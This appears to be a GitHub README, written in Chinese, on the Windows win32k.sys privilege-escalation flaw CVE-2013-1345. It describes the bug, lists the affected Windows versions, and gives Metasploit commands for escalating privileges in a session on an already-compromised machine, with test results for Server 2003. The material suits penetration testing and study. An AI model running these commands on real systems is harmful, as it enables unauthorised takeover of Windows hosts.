Skip to content

Latest commit

 

History

History
45 lines (30 loc) · 1.88 KB

README.md

File metadata and controls

45 lines (30 loc) · 1.88 KB

CVE-2013-1345

描述

内核模式驱动程序中的win32k.sys不会 正确处理内存中的对象,这允许本地用户通过精心设计的应用程序获得特权。

影响版本

Product CPU Architecture Version Update Tested
Windows 7 SP1
Windows 8
Windows Rt
Windows Server 2003 SP2
Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows Server 2012
Windows Vista SP2
Windows Xp SP2
Windows Xp SP3

利用方式

X86利用

测试系统Windows 7 SP1 x86 ,直接使用msf即可,我们当机器已经上线了

use exploit/windows/local/ms13_053_schlamperei
set SESSION 2 #你上线机器的session
run

image-20200822151416515

Windows Sever 2003 SP2 x86 和Windows Sever 2003 R2 SP2 x86都测试成功,但是利用文件没有源码只有exe可执行文件

Windows Sever 2003 SP2 x86 动图如下

17

Windows Sever 2003 R2 SP2 x86 动图如下

18